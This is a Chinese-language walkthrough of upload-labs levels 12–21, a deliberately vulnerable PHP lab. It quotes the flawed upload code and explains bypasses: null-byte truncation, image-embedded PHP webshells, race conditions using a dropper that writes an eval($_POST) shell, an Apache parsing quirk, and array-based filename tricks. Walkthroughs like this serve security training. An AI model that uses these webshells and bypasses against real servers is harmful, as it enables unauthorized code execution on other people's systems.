第十二关
提示及源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
分析源码:
1.$ext_arr = array('jpg','png','gif'); 这里使用了数组做了一个白名单
2.$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
截取文件名的后缀从点的位置开始截取,并且使用的是循环的方式截取,不是采用 一次性
对($_FILES['upload_file']['name']进行验证
3. if(in_array($file_ext,$ext_arr)){ 判断上传的文件名后缀是否在白名单中,如果在进入循环。
4. $temp_file = $_FILES['upload_file']['tmp_name']; 进入循环,给上传的文件放在一个临时的目录下,并且生成一个临时文件名
5.$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;(这一步是关键)
使用$_GET['save_path']接受自定义的路径,并且随机从10,99的数组在随机生成一个文件名,
在拼接上$file_Ext 前面截取的后缀名。
6.(move_uploaded_file($temp_file,$img_path)){
最终将前面保存的$temp_file临时文件移动 到$img_path
绕过思路:
首先使用的是白名单,从代码中可以看出他首先对上传的文件名的后缀进行了验证。
所以我们在第一步上传$_FILES['upload_file']['name'],文件名的时候必须后缀是.jpg.png.gif的格式。绕过后缀名的验证后,进入到循环。最后重点他保存的文件是
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;,由上传路径决定的,原参数$_GET['save_path'],save_path=../upload/。 那么上传路径可控的 。我们就使用%00截断,把上传的路径修改为文件名。
原理 :
00截断利用的是php的漏洞,php的基础是C语言实现的,在C语言中认为%00是结束的符号,所以就基础了c的特性,在PHP<5.3.4的版本中,在进行存储文件时碰见了move_uploaded_file这个函数的时候,这个函数读取到hex值为00的字符,认为读取结束,就终止了后面的操作,出现00截断
先抓包,然后修改文件后缀,并在url里面进行00截断
返回包,发现上传成功
第十三关
分析源码,发现和上一关没什么不一样的地方,只是传参方式改变了
使用POST 方式进行传参的。所以需要在%00的时候进行编码
抓包改一下 然后把00截断编码就ok(右键)
上传成功
第十四关
function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg';break;case 13780: $fileType = 'png';break; case 7173: $fileType = 'gif';break;default: $fileType = 'unknown';} return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
代码分析:这一关对图片的内容进行了验证,本题给了提示此关检查的是文件头部信息,通过检查文件的前2个字节,检查上传文件二进制的头部信息,来进行判断文件的类型。所以这一关修改后缀是没有用的。使用图片码的方式绕过。
制作图片码 准备一张图片,在准备一个一句话木马的php文件
制作图片马: copy 1.png /b + 1.php /a tupainma.php
然后直接上传就可以了
复制图片链接地址,点击"文件包含漏洞"的地址,进行传参。
发现利用成功
第十五关
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
提示使用getimagesize()检查是否为图片文件!
一样传图片马
上传成功
第十六关
function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
使用exif_imagetype()检查是否为图片文件!
还是一样
第十七关
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true; }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}
提示:重新渲染了图片!
主要使用了imagecreatefromjpeg() 这里给大家推一篇博客
PHP图片处理技巧大解析之imagecreatefromjpeg()-php教程-PHP中文网
使用了imagecreatefromjpeg()二次渲染(可以理解成将上传的图片再另存为一份,虽然图片一样,但内部信息会有所不同),所以图片码中的php脚本会消失
jpg内容少,php代码无论插入哪个位置都容易被压缩掉;png有严格的格式(每隔几位都有校验)【这两个都可以插入,但是要特别精细,需要第三方软件的帮助】
所以我们选择gif插入php语句
上传一个gif文件,开启burp拦截并且插入php代码(在中间偏下的位置)
底片变绿,上传成功
执行代码成功
第十八关
源码
$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}
此题为条件竞争漏洞
unlink():删除
由代码可知此题整个上传的流程为:①把文件移动到web可访问的目录②判断文件是否合法,合法则重命名,不合法则删除
但是此逻辑存在问题,在把文件移动到web可访问的目录到删除非法文件之间的时间里,我们是可以访问非法文件的(此时文件还在验证或还没删除),于是就可以利用这个时间差进行攻击
因为我们上传的文件是一个不持久的文件,无论怎样其只能存在很短的时间(不到1ms),若用这1ms去提交一个请求,那完全是可以的,但要是想用蚁剑或菜刀进行连接,我们就需要一个稳定的,可持续化的连接(有一个持久的文件放在服务器上供我们访问),但因为由过滤存在,只要是不合法文件,最后必然会被删除,我们只能尽量去延长其存在的时间(ms级别的延长),于是我们可以制作一个生成木马的木马
例如,上传一个生成木马的木马gen.php,我们在文件移动到删除的时间差里访问该木马,其就会输出一个shell.php放到服务器中,那么此时时间线向后推移,服务器开始删除非法文件,但服务器删除的是gen.php(因为用户上传的是gen.php,而前面验证的也是gen.php,也就是说gen.php生成的shell.php是排除在时间线之外的,不参与整个程序的逻辑,前面所有流程,上传、移动、验证、删除都是针对gen.php的),于是我们就可以通过gen.php获取持久化的连接
解决了持久化连接的问题,我们还需要解决如何快速触发gen.php的问题(尽快、频繁的访问,也可以尽快、频繁的上传【发包】)
首先,制作生成木马的木马
<?php
// fwrite(文件的对象,写入文件的内容):// fopen(文件名,打开方式);
fwrite(fopen ('she11.php','w'),'<?php \eval($_POST["x"]):2>');
//w:以写入的方式打开;避免混淆,x使用双引号?>
然后我们可以使用burp抓包(访问和上传两个包),发送到攻击器,从而达到频繁访问/上传
上传gen.php,此时提示上传失败(说明文件已经通过了流程,并进行了最后一步的删除)
再上传一个jpg,访问其图片地址,但要把文件名改为gen.php,从而获取访问gen.php的数据包
把这两个包发送至攻击器
不需要变量(清空),设置no payload,只需要提交请求即可(两个都这么设置)
修改线程数(拉高)
开始爆破(先上传后访问)【可能不能一次成功,多尝试几次】
根据长度排序(状态码排序找不出),找到成功上传
将图片地址改为shell.php即可访问
第18关是跟着网上的大佬进行复现的,最主要是学到东西
第十九关
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break; default:$msg = '未知错误!';break;}
}//myupload.php
class MyUpload{
......
......
...... var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );......
......
...... /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret ); }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, we are ready to move the file to destination$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );}
......
......
......
};
require_once()为文件包含:在一个文件中引入另一个文件
require_once("./myupload.php");含义为在index.php中引入 myupload.php
由代码可知,此题有后缀名检查的白名单(checkExtension),可以考虑截断/解析漏洞
并且可由代码看到上传的流程:检查后缀名——>移动——>重命名
所以,此题可以使用Apache解析漏洞(因为没有用户可控的文件名和路径,所以不能用截断)
我们需要找到一个在白名单中,但Apache不识别的后缀名(如7z和rar),进行尝试
先上传一个jpg找到重命名规则,访问图片地址,发现文件名被重命名为一个随机数
所以我们只有在移动和重命名之间访问才能触发解析漏洞,那么此题也是条件竞争【Apache解析漏洞+条件竞争的综合利用】,和Pass-18差不多
首先使用burp抓两个包(上传gen.php.7z和访问gen.php.7z)发送至攻击器
其余设置同Pass-18
此题成功率较高,访问大部分都是200(因为代码较长,执行时间比Pass-18长),与Pass-18相反
上传成功,访问shell.php
第二十关
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
$file_name = $_POST['save_name'];含义为获取文件名
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);含义为取后缀名
此题也是截断漏洞
看到文件路径和文件名是可控的,首先要想到截断漏洞!!!
我们可以在保存名称处同Pass-12、Pass-13一样,设置截断
开启burp拦截,上传一个jpg文件(保存名称随意),在burp中修改保存名称
在Hex模块中修改占位符为00
返回发现修改成功
返回数据包发现上传成功
第二十一关
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];含义为:若用户没有使用post表单定义文件名,则使用文件本身的文件名;若提交了名称,则用提交的名称赋值
explode():把字符串用某一字符打散,如:‘aaa.bbb.ccc’——>【‘aaa’,‘bbb’,'cc'】
end():取末尾元素
reset():取开头元素
count():计算数组中元素个数
此题使用了MIME和后缀名白名单,且通过拼接无法使用Apache解析漏洞
开启burp拦截,上传马,将下图的内容复制一份
修改内容
返回包,发现成功
因为我们上传的是jpg文件,所以一开始的MIME验证就已经绕过了
检查文件名和:若用户提交的save_name为空,则用文件名;若不是空,则用用户提交的save_name,而我们提交了save_name[0]
接下来判断数组,很明显save_name[0]是数组(只有数组才有下标),所以没有用”.“打散
而在上图中,我们可以看到,我们给数组0号元素赋值为webshell.php,2号元素赋值为jpg,所以上传上去的数组内容是[‘webshell.php’, ,'jpg'](没有上传1号元素)
然后end()取文件末尾元素(后缀名)jpg,通过判断jpg符合白名单
reset()取头元素webshell.php,加上一个”.“,count()计算数组中的元素个数为2,然后$file[count($file)-1]取数组的第一个元素(空),所以此时存在服务器的文件名为webshell.php.,而windows会自动把最后的点去掉,那么最后剩下一个webshell.php
于是我们就通过数组的特性来绕过本题的过滤